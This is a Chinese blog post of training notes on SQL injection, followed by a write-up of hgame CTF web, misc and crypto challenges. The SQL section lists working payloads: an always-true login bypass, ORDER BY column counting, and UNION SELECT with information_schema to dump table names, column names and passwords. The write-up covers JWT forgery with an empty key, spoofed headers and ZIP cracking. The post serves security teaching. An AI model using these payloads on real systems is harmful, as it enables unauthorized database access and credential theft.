[风信子培训]SQL注入+hgame

sql注入

sql语句


SELECT username, password FROM users WHERE username='$username' && password='$password'

万能密码(最简单的sql注入)

1‘ or 1=1#

  • 注释符也可以是–+
  • #是为了将后面的密码段给注释掉

步骤

  1. 找注入点(就是可以跟数据库进行交互的地方)

  2. 闭合语句(闭合了就能用SQL注入,不一定只是一个单引号)

  3. 注入攻击

注入攻击

  • 我们需要知道表名、字段名,想要的数据的某个标识

判断列数(字段数)

select username,password from user where username='1' order by 2

利用order by

  • 判断语句之后和注释之前的区域,可以随意操作
  • 利用order by 1 / 2 /…根据回显的报错情况来判断具体的列数

注意:username=的那个1不要用admin,不然直接默认输出admin了,无法判断回显点了

判断回显点

利用union select联合查询

他会追加在后面

在这里插入图片描述


mysql> SELECT username, password FROM users WHERE username='admin' union select 1,2;

+----------+----------+

| username | password |

+----------+----------+

| admin    | admin    |

| 1        | 2        |

+----------+----------+

我们设置一个不存在的即可

database()

返回当前使用的数据库

limit


select * from users limit 0,2//数字型注入

从0开始查两个


0' or 1=1 limit 14,1#

group_concat

把一列的数据,全部整合到一起


select group_concat(password) from users;

如果我们知道表名,


username=1'union select (select password from users where username="flag"),2#

&password=asdasda



username=1'union select password,2 from users where username="flag"#&password=asdasda

information_schema

查询表名

  • table_name:表名
  • information_schema.tables:里面含有数据库的所有表和表
  • table_schema=database():库名等于当前数据名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询字段名


1' union select group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='users'#

查数据

  • 知道了字段名,直接查里面的数据就行

1' union select group_concat(password),1 from users#

hgame

web

1

尊贵的admin写了个todo帮助自己管理日常,但他好像没调试完就部署了…一个月后,当他再一次打开他的小网站,似乎忘记了密码…他的todo之前记录了很重要的东西,快帮帮他
不要爆破!

在这里插入图片描述
那就换个用户名.

看见todo.题目说不能爆破密码,说明密码很难,不要反其道而行
抓包先看看
同个网站会有多个包,不停的放包观察,多点几次。如果是空白那就等一会儿
在这里插入图片描述
看!这有个token
在这里插入图片描述
接下来我们需要用到个网站jwt
在这里插入图片描述
是不是和token很相似?放里面观察
在这里插入图片描述

  • 我们不知道密钥是什么,那就试试当前的密钥
  • 比如我的用户名是pipa,我删掉最后一个字母,再加上最后一个字母。文本框和原来的不一样了。说明当前密钥不是我们所需
  • 那我们试试密钥为空,重新去掉再添加,发现文本框没变。那这个密钥就是空的。
  • 现在再把文本框里的放回包里
    在这里插入图片描述
    出来了

2

这题居然点100关!我20关就放弃了哎。下次极限拉到100
在这里插入图片描述
憋着一肚子火
在这里插入图片描述
就这个。抓包
在这里插入图片描述

3

小游戏这题,无非在js里找
在这里插入图片描述
拉出来放控制台
在这里插入图片描述

4

先抓个包表敬意

在这里插入图片描述
这是个网站,可以放网站的地方:referer(从这个地方来)
在这里插入图片描述
注意要放在Connection:close的上面
这个Hachi-Roku像是个浏览器。放浏览器的地方:User-Agent
在这里插入图片描述

  • 发现Set-Cookie: flavor=Strawberry; 也就是重新设置cookie.
  • 题目又说是树莓味的,那把flavor=Raspberry放上去
    在这里插入图片描述
    加汽油,找找哪里能加汽油。看到Gasoline:0 。把他加到100

在这里插入图片描述
最后一步。从本地,想到XFF(从这里来的)
在这里插入图片描述
在这里插入图片描述
这就是不能用XFF。那就换一个X-Real-IP
在这里插入图片描述

misc

1

签到题,微信关注得到flag

2

这个压缩包有点麻烦
打开压缩包,全都加密。注释里面写的是6位以内的纯数字。用Ziperello暴力解密
在这里插入图片描述
压缩包里面还有个加密压缩包。字典解码
用第一个压缩包里面附加的字典:password-note
在这里插入图片描述

包里还套密码包,这次明文攻击
在这里插入图片描述
两个后缀一模一样,说明是同个文件。进行明文攻击时,先把文件变成压缩包。注意特定格式
在这里插入图片描述
在这里插入图片描述

3

好看的流量
追踪tcp流
在这里插入图片描述

  • 这些全是base64编码,base64转图片

  • 翻找各个颜色通道
    在这里插入图片描述
    在这里
    在这里插入图片描述
    扫描二维码,得到一半flag hgame{ez_1mg_

  • 再用zsteg查看图片各种颜色通道,获取隐藏信息,在kali打开

zsteg /root/Desktop/下载.jfif --all

在这里插入图片描述
这里就是了

4

  • 音频隐写题,先用工具AudacityPortable看看波形图,还是挺正常的。
  • 再看看频谱图,不一样了,先记下来
    在这里插入图片描述
    Yoasobi
  • 查看音频属性
    在这里插入图片描述
    下载SlientEye
    在这里插入图片描述
    在这里插入图片描述
    看到了个网址,打开它,下载音频
    用工具RX-SSTV解码
    在这里插入图片描述
    打开history,就会发现二维码,扫描二维码,最终得到flag

lot

用010打开文件,就能得到flag

CRYPTO

easyRSA

先看返回值
在这里插入图片描述

  • 先对第一组数据进行操作,打开RSAtool工具
  • e=12433 这要试一试,看e是十进制还是十六进制,最后结果表明e是十进制。但是工具里需要e为十六进制,那我们转换一下,得到e=3091

在这里插入图片描述

  • 看第一组以及以后的所有数据,它全是数字,说明都是十进制,图上NameberBase那里改成十进制
  • p=149,q=197,因为n=p*q,所以我们把n要算出来
    在这里插入图片描述
  • 将p,q输进去,点Cale.D,剩下两个空就都出来了
  • 这时我们叫测试,要点Test,这工具第一次打开点不了Test,需要点一下Generate按钮,但要注意,点完后所有的数据都变了,需要重新输入
  • 这时候点击Test,新出现个小页面。因为我们要解密,所以需要用到第二个框
    在这里插入图片描述
    这个该死的工具!
  • 必须先随便在第一行输个数,点击Encrypt,再在第二行把py第一组数据的104输进去
  • 点击Decrypt,解码h,就是hgame的第一个字母。然后剩余组的步骤一样。重复重复重复
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值